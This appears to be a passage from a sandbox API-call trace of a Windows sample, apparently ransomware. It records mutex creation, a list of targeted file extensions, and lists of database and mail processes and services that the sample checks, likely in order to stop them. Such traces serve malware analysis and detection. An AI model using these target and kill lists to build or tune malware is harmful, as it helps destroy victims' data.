# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 11.06.2019 20:37:32.645 Process: id = "1" image_name = "ohbdap.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe" page_root = "0x4c0c8000" os_pid = "0x9a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9a4 [0026.403] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0026.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0026.405] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0026.406] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0026.407] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0026.407] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0026.407] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0026.407] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0027.852] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0027.852] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0027.853] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0027.853] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0028.778] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0028.778] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0030.626] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0030.627] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0030.627] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0030.627] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0030.740] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0030.740] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0030.740] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0030.740] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0030.908] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0030.909] GetProcessHeap () returned 0x4b0000 [0030.909] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c40c8 [0030.909] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15123270080) returned 1 [0030.909] GetTickCount () returned 0x1816e [0030.909] GetCurrentProcessId () returned 0x9a0 [0030.910] GetTickCount () returned 0x1816e [0030.910] GetTickCount () returned 0x1816e [0030.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c40f0 [0030.910] GetVersion () returned 0x1db10106 [0030.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b36b0 [0030.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd0 [0030.910] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd0, Size=0x20) returned 0x4c4140 [0030.910] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4140, Size=0x40) returned 0x4c46b0 [0030.911] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4c4900 [0030.911] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_ODYV39A") returned 0x0 [0030.911] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_ODYV39A") returned 0x84 [0030.911] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b36b0 | out: hHeap=0x4b0000) returned 1 [0030.911] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.911] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b0 | out: hHeap=0x4b0000) returned 1 [0030.911] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b36b0 [0030.911] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd0 [0030.911] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd0, Size=0x20) returned 0x4c4140 [0030.911] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4140, Size=0x40) returned 0x4c46b0 [0030.911] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4d4908 [0030.912] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_ODYV39U") returned 0x0 [0030.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_ODYV39U") returned 0x88 [0030.912] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b36b0 | out: hHeap=0x4b0000) returned 1 [0030.912] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.912] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b0 | out: hHeap=0x4b0000) returned 1 [0030.912] GetVersion () returned 0x1db10106 [0030.912] GetCurrentProcess () returned 0xffffffff [0030.912] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0030.912] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0030.912] CloseHandle (hObject=0x8c) returned 1 [0030.912] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0030.912] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4b36b0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd0 [0030.912] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd0, Size=0x20) returned 0x4c4140 [0030.912] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4140, Size=0x40) returned 0x4c46b0 [0030.912] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c46b0, Size=0x80) returned 0x4c46b0 [0030.912] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c46b0, Size=0x100) returned 0x4c46b0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x34) returned 0x4c47b8 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07c0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07d0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c07e0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0bd0 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c47f8 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0be8 [0030.912] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c47f8, Size=0x8) returned 0x4c47f8 [0030.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c00 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c47f8, Size=0x10) returned 0x4c47f8 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c18 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c30 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c47f8, Size=0x20) returned 0x4c47f8 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c48 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c60 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07c0, Size=0x8) returned 0x4c07c0 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d0, Size=0x8) returned 0x4c07d0 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4820 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c78 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4830 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c90 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4830, Size=0x8) returned 0x4c4830 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4928 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4830, Size=0x10) returned 0x4c4830 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4940 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4848 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4830, Size=0x20) returned 0x4c4858 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07c0, Size=0x10) returned 0x4c4830 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d0, Size=0x10) returned 0x4c4880 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c07c0 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4958 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07d0 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4970 [0030.913] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d0, Size=0x8) returned 0x4c07d0 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4898 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4988 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c48a8 [0030.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e49a0 [0030.914] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c48a8, Size=0x8) returned 0x4c48a8 [0030.914] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4830, Size=0x20) returned 0x4e4d10 [0030.914] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4880, Size=0x20) returned 0x4e4d38 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4880 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e49b8 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4830 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e49d0 [0030.914] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4830, Size=0x8) returned 0x4c4830 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4d60 [0030.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4d80 [0030.914] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0030.914] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b0 | out: hHeap=0x4b0000) returned 1 [0030.914] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e49e8 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e49e8, Size=0x20) returned 0x4c4348 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4c4708 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x80) returned 0x4c4708 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x100) returned 0x4e5058 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e49e8 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e49e8, Size=0x20) returned 0x4c4348 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4c4708 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x80) returned 0x4c4708 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x100) returned 0x4e5160 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e49e8 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4708 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x8) returned 0x4c4708 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c4718 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x10) returned 0x4c4738 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c4750 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c4348 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4738, Size=0x20) returned 0x4c4770 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4c4370 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4c4798 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c4398 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4a18 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4708 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e5268 [0030.923] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x8) returned 0x4c4708 [0030.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e52b0 [0030.924] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4708, Size=0x10) returned 0x4c4738 [0030.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e52f8 [0030.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e5318 [0030.924] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4738, Size=0x20) returned 0x4e5338 [0030.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4e5360 [0030.924] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0030.924] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5058 | out: hHeap=0x4b0000) returned 1 [0030.924] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0030.924] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5160 | out: hHeap=0x4b0000) returned 1 [0030.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e58e0 [0030.927] EnumServicesStatusExW (in: hSCManager=0x4e58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0030.928] GetLastError () returned 0xea [0030.928] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4e91e0 [0030.928] EnumServicesStatusExW (in: hSCManager=0x4e58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e91e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e91e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0030.929] CloseServiceHandle (hSCObject=0x4e58e0) returned 1 [0030.931] lstrlenW (lpString="Appinfo") returned 7 [0030.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0030.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0030.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0030.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0030.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0030.931] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0030.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.931] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0030.931] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0030.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0030.931] lstrlenW (lpString="AudioSrv") returned 8 [0030.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0030.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0030.931] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0030.931] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0030.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0030.931] lstrlenW (lpString="BFE") returned 3 [0030.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0030.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0030.931] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0030.931] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0030.932] lstrlenW (lpString="CryptSvc") returned 8 [0030.932] lstrcmpiW 